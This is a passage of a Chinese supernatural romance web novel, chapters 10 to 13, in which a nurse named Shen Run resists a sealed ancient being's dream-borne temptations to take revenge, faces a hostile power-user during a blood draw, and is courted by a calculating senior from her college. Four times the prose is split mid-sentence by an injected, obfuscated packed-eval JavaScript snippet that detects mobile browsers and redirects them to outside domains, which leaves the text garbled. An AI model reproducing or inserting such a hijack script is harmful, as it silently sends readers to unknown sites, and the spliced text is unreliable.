又过了不到十分钟，方怡又打了一个电话，虽然话里仍带哽咽，但情绪比刚才稳定许多：“我刚打电话报警了，警察说如果情况属实，陈超就构成了刑事犯罪...” 大事儿解决，沈润也松了口气，但她这会儿给不出方怡好脸色，只能简短地嗯了声。 方怡顿了顿，又期期艾艾地道：“小润，警察要接我去做个笔录，我一个人有点害怕，你能来陪陪我吗？”其实做笔录她一个人就够了，但她这会儿急需一个人抚慰她，给她提供情绪价值。 男朋友那边儿指望不上，她自然而然地想起了好友深润。 沈润沉默了一下，干脆道：“不能。” 在她眼里，沈润就是个勤快老实的老好人，跟一头老黄牛似的，一开始两人说好沈润做饭她刷碗，后来她嫌脏嫌累故意偷懒，沈润也毫无怨言地把碗刷了，后来发展成只要她撒撒娇喊累，沈润就会任劳任怨地把屋子收拾了。 方怡愣了下：“为什么？” 她现在情绪激动，忍不住指责：“我们不是朋友吗？这种关头你怎么能不陪在我身边？你怎么是这样的人！” “本来是朋友的，但从你把钥匙给陈超那一刻起，我们就不是了。” 沈润闷闷地说了一句，毫不犹豫地挂了电话。 最近事情那么多，今天折腾完也凌晨三点多了，沈润累得够呛，双腿灌了铅似的回到房间。 刚躺上床，她后背突然痒痒起来，她对着镜子照了照，发现是湿疹犯了——这些日子压力过大，再加上作息不规律，该死的‘老朋友’又来光顾了。 她胡乱往背上抹了点湿疹膏，忍着钻心的痒意，一头栽倒在床上。 ...... 几千年的囚禁生涯已经让蚩双流心如止水，就算是地球爆炸也很难让他产生什么情绪波动，但这会儿，他心里有点微妙的不爽——在报复理由充分的前提下，沈润居然做起了好人好事。 事情的发展有些超出了他的预料。 没人比他更了解蚩氏一族是什么样的存在，他们以凡人之躯妄图比肩神明，为了得道长生，他们不择手段，什么人祭血饵虫噬等等祭祀秘法就是为了为了修炼创造出来的，血脉越是纯正的蚩氏族人，性子也就越残暴冷酷，无一例外。 沈润虽然是外姓，但她残留的那一丝血脉却极纯正，可以说，她变成其他蚩氏那个德行只是时间问题，他本来以为稍加诱导，她立刻就会走上跟她先祖一样的路。 问题到底出在哪里？ 蚩双流甚至没有心情像上回一样给自己弄个前奏，他直接入侵了沈润的梦境。 沈润一个激灵从床上爬起来：“蚩哥？” 蚩双流无声打量她片刻，忽然唇角微弯，勾出一个毫无笑意的弧度：“你真是令我意外呢。” 沈润：“啊？”蚩哥说话好阴阳怪气呢... “你心里就没有一点儿怨恨吗？”他斜靠在窗台，循循善诱：“那个女性把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139098|163752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们居所的钥匙给了她的伴侣，而她的伴侣明显对你不怀好意，你就没想过，如果他今夜没有离开，你会遭遇什么吗？说不定，你也会加入他的私密相册，跟其他女性一样任人观赏。” 他的嗓音不疾不徐，每个字说得入情入理，极能煽动人的情绪。 沈润小声提醒：“...蚩哥，他还没我高呢...” 在他眼里，所有人类都弱小的如同蝼蚁，以至于他忽略了蝼蚁也有强弱之分，他默了下，目光在她修长的身量停驻片刻，若无其事地岔开话题：“...就算这样，她也有多次欺负你的行为，你心里不也对她很不满吗？你就不想报复她吗？就像刚才，明明是你救了她，她不但不感激，反而因为一点小事，指责你对她照顾不周，她拿你当什么？奴仆还是下人？” 沈润沉默下来。 蚩双流唇角微翘：“其实你也很讨厌她的对吧？她的家境优渥，家里只有她这一个孩子，她可以因为任性离家出走，随便和底层男□□往，反正她的家人会无底线的溺爱她，而你必须比她努力十倍，才能勉强有个容身之处，明明她的性情骄纵，人品低劣，她却什么都有，你勤劳又果敢，却什么都没有，你就不恨她吗？” “...我没恨她，她的性格人品也没你说的那么差。” 沉默半晌，沈润忽然蹦出这么一句。 她托着下巴走神：“我吃的第一盒车厘子，喝的第一杯奶茶，用的第一只大牌口红，都是她送给我的，有一次我俩约出去玩，我没坐过飞机，是她手把手教我怎么订票，教我怎么登机的...你说她对我不好，可她比我爸我哥对我好多了。” “只是我俩性格不合适，我不想再和她当朋友了而已。”说完这些，她心里舒坦不少：“人都是有好有坏的，觉得她坏的时候，就多想想她好的一面。” 蚩双流目光无声地在她脸上流连片刻，又轻扯了下唇角，微微笑道：“也就是说，看到那些照片，你没有一丝一毫想要把它们发出去的念头？” 如果她没有报复的意图，那她身上散发的恶意又是哪里来的？ 伪善。 沈润不得不给他普法：“...蚩哥，传播色 情淫 秽是犯法的。” 所以可以理解为。她是畏惧法律惩罚，不敢作恶，而不是心里不想报复。 蚩双流轻笑了声。 沈润忽然期期艾艾地开口：“蚩哥，你能帮我个忙吗？” 这还是沈润第一次跟他索取，蚩双流来了兴致，含笑温声问：“你想让我做什么？帮你报复你讨厌的人？帮你获得更多的财富？让你职位上升，获得更多权限？” 沈润听得双眼发直：“...不是。” 她费力地蛄蛹身子，反手拼命向后使劲儿：“我湿疹犯了，后背有个地方够不着，你能不能帮我挠挠痒？” 蚩双流：“...？” 11.第 11 章 沈润等了会儿，没见蚩双流有反应，悻悻地从柜子里翻出一根包浆发亮的木制痒痒挠，她从睡衣衣领伸到后背，终于给自己挠了个痛快。 看她嘴角上翘，眯起眼一副享受的表情，蚩双流忍不住问：“...这是什么？” 对于这个星球，蚩双流就算不是全知全能，但也很少有什么事儿能瞒得过他的。 ——但沈润是个例外，短短两天，她已经三番五次刷新了他的认知。 “痒痒挠啊，这根是老榆木做的，我姥姥传给我妈，我妈又送给我了，抓痒可舒服了。”沈润给他示范了一下，十分热情地送出体验卡：“蚩哥，你要不要试一下？” 蚩双流：“...” 他再多一句嘴，就让蚩氏被人挖出来鞭尸。 看着沈润这张阳光明媚的快乐傻狗脸，他第一次体会到什么叫碍眼至极，这会儿沈润的仇恨值仅次于蚩氏那帮人了。 没有任何理由，他就是想看到这样春光灿烂的表情从她脸上消失，让她像其他所有人一样，遍尝凄苦哀愁。 侵 犯她，玷 污她，摧毁她，让她和这人间炼狱一并堕落腐朽。 他极轻地笑了声，故意用一种很苛刻的目光从头到尾打量着她，那目光极具侵略性，一寸寸上掠，掠过她破了洞暂时舍不得换新的袜子，袜子里隐约能窥见她白皙脚背上的蜿蜒血管，掠过她洗的发白褪色的睡衣，睡衣因为多次水洗而变形，能瞧见细腻圆润的肩头。 沈润都给他看的不自在了，有些窘迫地拉了拉被子，却发现被套也是大学那会儿买的，至少用了四五年，拉链都断了一半。 她表情尴尬：“蚩哥，你看我干啥？” 看到她终于露出自卑瑟缩的神态，蚩双流微微勾了下唇角，仿佛闲聊：“你看起来过得不太好。” 他走向她，手上不知何时多出一双崩得极紧的黑色皮质手套，两根手指托起她的下巴，语气温和：“小可怜，遇到那么多坏人，你就一点也没想过报复吗？” 沈润愣了下：“为什么这么问？” “你可以把我视为...惩恶扬善的神明。”蚩双流恶趣味地勾了勾唇角，眼神却充满慈悲的怜爱：“有一个机会摆在你面前，你不用付出任何代价，就能惩罚那些伤害过你的人，你会怎么选？” 沈润：“...你的意思是，你会帮我？” “当然，你那么好，你那么正直和善良。”蚩双流见她动摇，语气越发轻柔，好像教堂里虔诚的祈祷乐：“让我来保护你，不好吗？” 他手指滑动，手掌轻抚她微凉的发丝。 他温柔地道：“你只需要做到信任我，依赖我，虔诚热烈地信仰我，来到我的怀抱吧，我会给你一切你想要的。” 在那之后，等待她的将会是侵略，恐惧和绝望。 他指尖轻轻颤栗了下，压抑不住的兴奋泄出些许。 沈润默了下，幽幽道：“...可是你连帮我抓个痒都不乐意，你这话很没有说服力啊，蚩哥。” 蚩双流：“...” 她想了想，又反驳道：“而且我也不是老遇到坏人，我也遇到过很多好人啊。” 她不等蚩双流说话，张口就举了几个例子：“我小学六年级那会儿，有一次回家晚了，学校看大门的老大爷主动要送我回家，他人特别好，一直夸我长得漂亮，皮肤白，还伸手要搂我亲我，不过我那时候不爱被人碰，轻轻推了他一下，他直接滚下楼梯了，听说肋骨都断了三根儿，我后来去探望他的时候，他吓得扔下轮椅掉头就跑，也没跑来找我要赔偿，这难道不是好人？” 蚩双流：“...” “我大学那会儿加了散打社，正愁没有陪练呢，有几个外校的跑来说要‘让我见识见识他们的厉害’，然后几个人鼻青脸肿的回家了，也没收陪练费，打到最后咣咣磕头让我少打几拳。” 蚩双流：“...” 她掰着手指头数数：“我刚来打工那会儿，有个热心大娘要帮我领路，她还叫了俩儿子开面包车接我，我一不留神，拉车门的时候把整个车门拽下来了，大娘也没叫我赔钱，带着俩儿子跳上车就走了。” 她最后做总结陈词：“我觉得，这世上还是好人多啊，蚩哥，你还是要相信人间自有真情在的。” 蚩双流：“...” 有没有一种可能，不是世界上好人多，是没人打得过你所以被迫当好人？ 沈润给他灌完一桶心灵鸡汤，又把话题扯回他身上，一脸正色：“蚩哥，你是不是在搞什么宗教活动？我跟你说，没有政府审批的宗教活动是违法的，属于邪 教活动，而且这世界上没有神仙的，那是封建迷信。” 难怪陆董专门请人照顾他呢，这脑子果然不太正常，居然幻想自己是神仙。 接下来，她看到蚩双流用她此生见过的最复杂的目光足足凝视了她长达一分钟的时间。 他无声地抬了抬手，沈润就觉得整个人腾飞起来，直接被他扔出了梦境。 她打了个激灵，猛地清醒过来。 毫无意外的，她又忘记自己梦见啥了，就感觉嗓子干的冒烟，她咕嘟咕嘟喝了一杯昨晚上剩的凉白开，草草洗漱了一下就冲上了班车。 才到基地，她就看见基地里居然来了四个新面孔，在基地里工作的都是负责监控蚩双流日常起居的，统一制服是白大褂，这四个人穿的是蓝大褂就不说了，每个人手上都捧着看起来很高端的仪器和设备，还有针头和橡胶管等等。 白淼见沈润进来，随口招呼了一下：“小沈来了。” 她指了指为首的蓝大褂：“这位是钱穆，负责001...蚩双流的身体数值，他们会定期来给蚩双流采血做体检。” 跟白淼带领的监控组不同，钱穆带领的负责采血体检的团队都是陆阔的心腹，对Plan b略有耳闻，也清楚沈润就是个普通人的事儿。 他本人是个c级异能者，很多异能者进化之后都会觉得自己高人一等，更别说异能方向是跟血液相关的，很得陆阔的器重，自然看不上沈润一个没权没势的普通人。 他也没理沈润，鼻孔朝上地扫了一眼，只冲着B级的白淼打了个招呼，态度倨傲：“为了加快实验进展，前两天我带领团队更改了体检方案，今天的采血量比较多，体检流程也比较复杂，希望白组长配合一下。” 上班最忌讳遇到这种自以为是的傻 逼，本来大家好好地按照流程办事，你非要自作聪明，你说你改方案也就算了，居然不提前跟同事打声招呼，这不纯粹害人呢吗？万一惹毛了蚩双流整个基地不得团灭啊？ 白淼在心里大骂，面上还是不动声色，她沉吟了下，轻飘飘把锅抛给主要责任人：“我不负责照料蚩双流的生活起居，这些都是沈润 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160795|163752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负责的，你和她沟通吧。” 沈润是个勤快的，闻言立刻道：“你们跟我来吧，我带你们去见蚩哥。” 钱穆这才推了推眼镜儿，终于赏脸给了她一个斜眼，他和组员交换了一下眼神，各自点头同意了，这才拿着仪器跟着沈润去了地下三层——蚩双流还是老样子，坐在窗前走神，手里玩着沈润新给他买的皮球。 他看到这么多人进来也没什么反应，淡淡一眼扫过，重新低头做好。 钱穆随手把杂活丢给沈润，毫不客气地使唤：“他现在还没吃早饭，我们要先给他抽血，你把绑带给他绑好。” 沈润大学就是学护理的，抽血流程她当然熟悉，她捧起蚩双流胳膊，按照职业习惯叮嘱：“蚩哥，抽血的时候有可能会出现头晕，恶心，眼前发花等等情况，你要是不舒服就给我示意一下。” 她边说边绑上橡胶管，又小心给他涂上碘伏，一根青绿色的血管很快从他冷白的肌肤底下绷起，这画面有种莫名的张力，她不由多看了几眼。 这一看不要紧，他血管处密密麻麻的针眼凸显出来，保守估计也得有二三十个，听说他们每隔几天就要来抽血，按这个抽法，这人都要抽成人干了。 蚩哥真够命苦的。 沈润瞧的呲了呲牙，忍不住问了钱穆一句：“一次要抽多少毫升啊？” 钱穆有些不耐：“今天要抽900毫升。” 往常是抽400，但最近研究任务加重，400毫升已经不够用了，反正蚩双流是个怪物，抽十斤血他也死不了，而且他的异能仅限于对他有恶意的人，平时跟个畜生差不多，钱穆负责抽血都抽麻了，也不担心他会报复。 他边说边从医药箱里取出一根极粗的针管——看着像是给牛放血的。 沈润一脸不可置信：“900毫升？你是不是嘴瓢了多说一个零？90还差不多吧？！” 但凡有点医学常识的人都知道，正常成人的失血量达到750毫升之后，就会出现休克症状，900已经到了严重威胁人体健康的程度了，这到底哪来的野鸡团队？这么基本的常识都不知道？？ 这种打工的普通人根本不值得他费神，钱穆甚至懒得编话圆过去，自顾自弯下腰给蚩双流抽血。 沈润眼见情况不好，一把推开他，拉下脸：“你还没回答我的问题呢！” 钱穆虽然不是力量型的进化者，但身体素质也远超正常人，他压根没把她放眼里，没防备直接给沈润推了个趔趄，他都懵了下。 当着这么多异能者的面儿，钱穆脸上挂不住，面罩寒霜，怒声道：“你敢对我动手？！”他介意的甚至不是工作被打断，而是身为进化者，居然被一个普通人给冒犯了，简直是奇耻大辱。 沈润坚定地，毫不犹豫地挡在蚩双流身前：“除非你给我一个合理解释，否则我绝对不会让你靠近我的病人！” 钱穆脸色难看，镜片闪过一道白亮的光。 ——他竟然直接对一个普通人发动了异能。 ...... 致命的背叛，当面看着自己身体被分食的痛苦，数千年的幽禁岁月，以及长年累月目睹人类各种阴暗扭曲的欲望，这一切造就了蚩双流的改变。 他厌憎所有光亮的事物。 太阳，月亮以及...沈润。 ...但现在，这束光照到了他的身上。 12.第 12 章 沈润知道自己力气大，她也没想和钱穆动手，见把人推了个趔趄之后，她也吓了一跳，慌忙上前就想扶人。 就在她和钱穆对视的那一刻，全身的血液有一刹那停止了流动，接着以不正常的流速涌向了心脏。 她心跳骤然加快，眼前发黑，毫无征兆地身子一软，跪倒在地。 C级异能，血液操纵。 钱穆轻蔑地瞥了眼这个不知死活的蝼蚁，跨过她向蚩双流走去，不料脚下忽然一紧。 沈润一手捂着心口，一手紧紧攥住他的脚踝，咬着牙寸步不让。 钱穆脸都变了，一推眼镜就要给她来一下狠的。 屋里没有人注意到，蚩双流的手指轻轻动了一下。 只有一直盯着监控的白淼看见了，她脸色大变，立刻抢在蚩双流前面出手。 B级异能，心理安抚。 霎时间，所有人都感觉心里被一股暖流吹过，原本躁动的情绪瞬间平复下来，就连钱穆都忘记了动手，神色一点点和缓。 心理安抚的效果持续不了太久，白淼打开语音功能，对房间里喊话，厉声道：“你们在干什么，这里是公司，还有没有点规矩了？！” 钱穆脸色微变，沈润心跳也逐渐平复，扶着窗台站了起来。 白淼直接找到罪魁祸首：“钱穆，你来我办公室一趟，我有话跟你说。” 钱穆表情不忿，但白淼无论是异能等级还是公司职位都是这里最高的，他强压这火儿，表情不善地看了沈润一眼，这才转身去了地下一层的办公室。 他神色不悦：“白组长，您也看到了，那个普通人已经严重干扰到我的工作了，我给她点教训不过分吧？” 白淼这会儿也看出来了，沈润真就是个普通人——要真是什么S级强者，早给钱穆捏死了。 她暂时顾不上思考陆阔派一个对异能者毫不了解的普通人过来做什么，见钱穆咄咄逼人，她放沉语气：“她严重干扰到你工作？那你突然调整体检方案还严重威胁到我们生命了呢！你想过万一蚩双流因此产生攻击性，会对我们造成什么样的后果吗？” 钱穆一时语塞，白淼才不管他心里怎么想，只要蚩双流安安稳稳不暴动，她能照常上下班拿工资就行，她直接给出最终裁决：“行了，别闹大了不好收场，还是按照原来的方案进行体检，新方案你们拿去让陆董和董事会过目，等他们同意了再说。” 钱穆神色愤愤，白淼冷冷扫了他一眼：“异能者对普通人出手犯法，你今儿这次我就当没看见，你也不想政府的监察队把你拉走审问吧？” 钱穆自知理亏，气焰稍熄，终于肯老实配合，在沈润的严密监督下完成了对蚩双流的体检。 等他们团队忙活完，这会儿也到了午饭的点儿，把他们送走白淼的一颗心又落了地，又开始琢磨着怎么安抚沈润。 针对异能者的法律还有一条，异能者的存在要对普通人保密，今天钱穆突然出手，沈润八成有所察觉，白淼思索着怎么找个借口把这事儿圆过去，便邀请沈润一起去食堂吃午饭。 她试探着开口：“早上的时候，我看你心脏有点不舒服，是...” 她不说，沈润都把这事儿忘了，愣了下才道：“可能是我昨晚上熬夜熬的吧，昨天我住的地方出了点事儿。”她心大地摆了摆手：“白姐你不用操心啦，我大学有个舍友就喜欢熬夜，每次熬完夜心脏都不舒服。” 白淼：“...” 她怎么看怎么觉得沈润大智若愚老谋深算，现在她算是明白了，这位是真的二百五。 她无语地动了动嘴巴，岔开话题，试探着套话：“我看你年纪应该不大，之前是做什么的？怎么到太阳伞公司来上班了？” 陆阔可不会做无用功的事儿，也不知道他把一个普通人放到蚩双流身边是想干什么？ 沈润是完全不长心眼，别人问什么她说什么，她老老实实地回答：“我之前在太阳伞的一家外包公司上班，陆董看我大学是学护理的，又对太阳伞公司有一定的了解，所以招我进来照料病患。” 这可有点意思了，白淼原本冷淡萎靡的神色一振，饶有兴致地问：“你是被挖过来的，还是先离职再进的太阳伞？” “我是从前公司离职过来的。”沈润见她还想问，干脆抢答：“那个外包公司管理混乱，女老板的小男友空降到我们部门当领导。” 她撅了下嘴巴：“那人就不是个好玩意儿，对我说话不干不净的，满嘴放屁，我当场挤兑了他一回，他就跑去跟我们老板说我仗着长得漂亮想勾引他，我们老板听信谗言，看我不顺眼，同事也都排挤我。” 白淼因为异能特殊，在异能者里也算有名有姓的，对普通人的爱恨情仇没什么兴趣，她正要岔开话题，手腕上被蚩双流诅咒的位置忽然灼痛起来。 她愣了下才分辨出蚩双流的意思...他想继续听？ 你一邪神没事儿凑什么热闹啊？白淼心里默默吐槽一句，有些惊讶于蚩双流对沈润的关注，继续追问：“所以呢？你就是因为遭到性骚扰和不公正待遇离职的？” “...那倒也不是。”沈润嘴角抽了抽，有些尴尬：“有一回我碰见那个小白脸把一个平时比较内向老实的女同事往厕所拖，我小小地阻止了一下下...” “然后你就被开了？” 白淼声音里透了点怜悯，她总归是女性，对于这种事儿还是比较能感同身受的。 “也不是因为这个...”沈润有些心虚，声音都低了点：“我...额...可能阻止力气有点大，他断了两根肋骨，右臂也骨裂了...” 白淼：“...” 虽然那小白脸强制猥亵在先，但她自己也很有可能构成故意伤害罪，女老板怕公司影响不好，就没敢报案，只让沈润赔了医药费，最后算下来医药费大概六万多，她手头没那么多钱，又不想向家里低头，自己咬牙硬抗了下来，所以为了应急去借了网贷，这会儿已经利滚利到十来万了。 也幸好她现在找到了很好的工作，也不知道什么时候能把外债还完，哎，真愁人。 沈润打开了话匣子，忍不住哇啦哇啦继续倾诉：“拿了赔偿款之后，我们老板就随便找了个理由把我开了，不光没给任何赔偿款，就连拖欠的工资都没发，我实在气不过，找了免费的法律援助申请了劳动仲裁，也不知道能不能把钱拿回来。” 现在的年轻女孩子还真不容易，白淼这会儿都有点心疼她了，她以职场前辈的身份给出建议：“我觉得你最好还是不要继续仲裁了，毕竟你也有把柄在对方手里，是，对方是猥亵女同事在先，但你也打伤了对方，强制猥亵最多是拘留，故意伤害有可能判刑的，还是大事化了吧。” 沈润神色带了点认真：“可我不觉着我错了啊，他当时装作发酒疯，在饭局上硬把人往厕所里拽，谁知道他是想猥 亵还是想□□呢？再说我只是情急之下推了他一把，他自己滚下台阶的，我觉得我没有故意伤人。” 她很是执拗地道：“就算我打伤了人，警察来抓我我也认了，但我工作上没有出任何问题，她凭什么就这么把我开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15167260|163752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？就冲这个，我也要跟她仲裁到底！” 白淼还想再劝几句，对上她清亮的眼睛，一时哑了火。 手腕上的灼痛似有所感，也跟着一并止熄了。 白淼又跟她闲聊了几句，俩人一道回了基地。 下午倒是风平浪静的，沈润很快忙到下班，一踏出科技园大门，那种被注视锁定的感觉再次出现，她又环视了一圈，依旧毫无收获。 刚打开老破小的房门，她就看到桌子上摆了几盒洗好的水果，方怡坐在沙发上，见到她回来，立刻站起身：“小润，你回来了？” 她努力想装出什么都没发生的样子：“我买了几样你喜欢吃的水果，都挺甜的，你要不要尝尝。” 女警跟她说清了事情的前因后果，她作为受害人去警局做笔录的时候又看到了陈超，她才不得不信自己是真的碰上了人渣，她哭哭啼啼诉苦了一天，这才终于想起了沈润，想起自己昨晚上的态度好像真的有一点点过分。 她家里条件好，和沈润当朋友的时候，一直理所当然地认为对方应该捧着自己，所以她一时拉不下脸来道歉，所以花钱给沈润买了点东西，算是委婉地表达她的歉意了。 没想到沈润只是看了她一眼，一言不发地回了卧室。 方怡愣了下，忍不住道：“你不会还在因为昨晚的事儿生气吧？我都说了是误会...” 回答她的是‘砰’的关门声。 沈润既没心情也没功夫搭理她，她联系之前找的法律援助的律师，咨询劳动仲裁有关的事儿。 律师很快给出回复，罗列了一串儿她需要提交的资料，证据和证明，因为她是外地人，要办的手续就更多了。 沈润瞧的头疼，本能地想问一问本地人方怡，忽然想起俩人已经闹掰的事儿，她犹豫片刻，认真打字咨询了之前很照顾她的许学长。 许学长对她热心依旧，很快发来了一长串语音告诉她办理手续的流程，末了还问了句：“周末有空吗？晚上出来喝一杯？” 打完这句，他又颇为暧昧地补了句：“聊聊咱俩的事儿。” 这几乎是明示了。 沈润见他邀约，本来想同意的，看到最后这句意味鲜明的话，不由怔了下。 她对许学长是有好感的，但是没想到他会这么快的推进关系。 不过她也没怎么迟疑，很快回了个‘好’字。 她最近真的有点累了。 她妈在家里没地位，又喜欢自怨自艾，她爸从小就不怎么管她，十来岁她还穿她哥的旧衣服留着假小子头上学，发育了都不知道穿胸衣，被同学嘲笑之后才拿了块棉布裹胸，十四五岁才知道穿内衣，一件内衣穿到变形，她性子又倔，还不会说话，从小也没什么好朋友。 上大学和其他五个舍友倒是玩得很好，但毕业之后大家也各奔东西了，联系渐渐从约定的一周三次变成了一月一次，现在微信群有三个月都没动静了。 好容易交到一个好朋友，结果方怡完全没拿她当回事。 有时候她想要陪伴，想要跟人聊聊天诉诉苦，但是翻遍朋友圈也找不到一个合适的——所以她今天克制不住跟白淼倒了半天苦水。 许学长对她很热情，又帮了她很多，她对他也很有好感，既然这样，发展一下恋爱关系也没什么？ 她才按下发送键，后背忽然生出一种阴冷粘稠的感觉。 那种被锁定，被注视的感觉再次出现，比以往都要强烈。 那视线沿着她的后背缓缓上移，悄无声息地攀上了她的脖颈。 13.第 13 章 那目光最开始还能克制，只是在她脖颈处徘徊。 到最后越来越放肆，仿佛有了实体，像一根绳套，试探着绕上了她的脖颈。 沈润摸了摸脖子，本能地挣扎了两下。 这样的挣扎反倒让它兴奋了起来，沿着她的脖颈轻柔地划了一圈，又猛地收紧。 这力道很微妙，不至于勒死她，但也不打算让她好过。 没有任何预兆的，想看到她痛苦。 她下意识地扒拉脖子，但是脖颈那里空空如也，她双腿猛地踢蹬起来。 直到一声尖叫把她吵醒。 她猛地从床上坐起来，捂着脖子呼哧喘气。 方怡站在门口，脚边儿是打翻的果盘和洒了一地的水果，她捂着嘴巴，惊恐地说不出话来。 还是沈润缓过气，先开了口：“怎么了？” 她下意识地拿起床边的小镜子照了照，脖子上除了她自己留下的抓痕，也没什么勒痕。 方怡哆哆嗦嗦地道：“我做好了果盘打算端给你，走到门口才发现你睡着了，我正准备走呢，没想到你好像被人掐住脖子似的，脸都憋红了，死命挠自己脖子，一边挠一边挣扎...” 她越说越感觉像灵异事件，有些惊恐：“你梦见什么了？” 睡着了？她刚才明明在和许敬文微信聊天啊。 沈润下意识地看了眼聊天记录，发现她回复的最后一条消息已经是半个小时前的事儿了，她居然在自己无知无觉地情况下睡了半个小时？ 她有点傻眼。 不过作为唯物主义五好青年，她觉得完全是因为最近压力过大才导致她出现了心理问题，于是掏出手机搜了搜心理医生咨询。 最便宜的200/小时。 她默默地关掉了页面，从抽屉里翻出了一本错字漏页的盗版心灵鸡汤。 不知道是不是心灵鸡汤真的起了作用，反正一直到周末她都没出现过心口疼和做噩梦之类的现象了，时间很快到了和许敬文相约见面的时候，为了省坐地铁的钱，她硬是徒步走了四公里才来到和许敬文相约的酒吧，累的满头大汗。 看到熟悉的身影，她笑着走过去，主动打了个招呼：“学长，你来这么早啊。” 许敬文相貌斯文端正，一身考究的衬衫，鼻梁上架了一副方框眼镜，眉宇间带着淡淡的书卷气。 他特地挑选了相对私密的位置——很多情侣会选择这种角落，方便做一些亲密举动无人打扰。 见沈润过来，他起身微笑：“小润，过来坐。”他指了指桌上的几样小吃：“我特地帮你点的，不知道你喜不喜欢。” 虽然都是地瓜条，炸鱼丸之类的普通小吃，但糟心事遇多了，沈润还是挺感动的，她不好意思地抓了抓头发：“谢谢学长，让你破费了。” 许敬文轻笑了一声，状似亲密地在她上臂轻拍了下：“跟我还客气什么？你既然叫我一声学长，我照顾你也是应该的。” 这个动作很微妙，既显得亲昵，又不至于太过引起女方的反感，沈润果然没多想，还冲他又笑了笑。 俩人坐下来有一搭没一搭地闲聊，却没怎么说工作上的事儿，许敬文有意把话题往感情生活上引，沈润果然有所触动，在他的引导下不知不觉说了好多，两人说的越发热络起来，对他的好感度再次飙升。 在这期间，他时不时揉一下她的脑袋，或者有意无意地触碰她的手背，沈润心大，一开始还没觉察，到后面发觉不对劲儿，又怀疑是不是自己多想了。 时间渐渐晚了，每当沈润有想走的意图的时候，许敬文要么续上零食果酒，要么婉转地让她留下，直到十点多，沈润作息规律，这会儿已经是哈欠连天，她彻底坐不住了，起身道：“学长，我得先回去了。” “急什么？明天又不工作...”许敬文抛出了话头，见沈润还是坚决想走，他便跟着起身，十分绅士地道：“那我送你。” 他不等沈润开口，便跟着她出了清吧，两人沿着一条小道慢慢往前走——小道的尽头是一间很有名的连锁酒店。 许敬文不着痕迹地往酒店的霓虹招牌上扫了眼，微笑着开口：“小润，你觉得我怎么样？” 沈润立马点头：“学长你人很好啊，不管是工作和生活上都帮了我很多，要不是你，我现在还稀里糊涂的。” “既然这样...”许敬文道：“要不要试着和我交往？” 他笑道：“小润，我对你很有好感，而且你一个女孩子，背井离乡在魔都工作也不容易，让我照顾你好吗？” 其实他邀约的时候，沈润就有点心理准备，但听到他这么直白地说出来，她还是有点发愣。 她想了想，也很干脆地道：“学长，我对你也挺有好感的，但我最近刚找到新工作还没稳定，你让我考虑几天成吗？” 她话说的直白，许敬文也不好多说什么，只是今晚没得手，他心里难免遗憾。 但是明面儿上，他还是风度翩翩地微笑：“当然了，我理解。”他甚至不忘夸赞沈润一句：“没想到你又勤奋又上进，真是让我捡到宝了。”说的跟两人已经定下来了似的。 不由分说，他牵起了沈润的手，走到路口帮她打了辆车，已经完全把自己代入了男友的角色。 眼看着出租车走远，他才露出一个志在必得的笑容。 其实他和沈润刚认识那会他是有女朋友的，只是沈润长得实在漂亮，不说跟明星比，也是他见过的普通人里最好看的了，所以他就没跟对方说自己有女友的事儿，把她放进了自己鱼塘，时不时发几条消息关切问候一下。 但前几天，他和女友因为感情问题分手，他终于又想起这个漂亮的小学妹来了，想着可以在空窗期短择一下，排遣寂寞。 当然他也没打算和她有什么长期发展——毕竟沈润除了那张脸蛋，其他方面简直没有一处能拿得出手的，他学历工作一般，家里是小县城做生意的，上头还有个哥，人生简直地狱模式。 许敬文家是本地独子家庭，父母都是高知分子，自觉是书香名门，他自然瞧不上沈润这样的条件。 今晚上没能得手，让他多少有点急躁，他思量着要不要送点礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15169628|163752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物推进关系，于是打开网购软件，搜索了一下年轻女性佩戴的首饰项链，等看到那小两千金额的时候，他手指一停，迟疑起来。 他想了想，截图在并夕夕搜了同款，以八十块的价格拿下了同款，又花二十买了个大牌首饰盒。 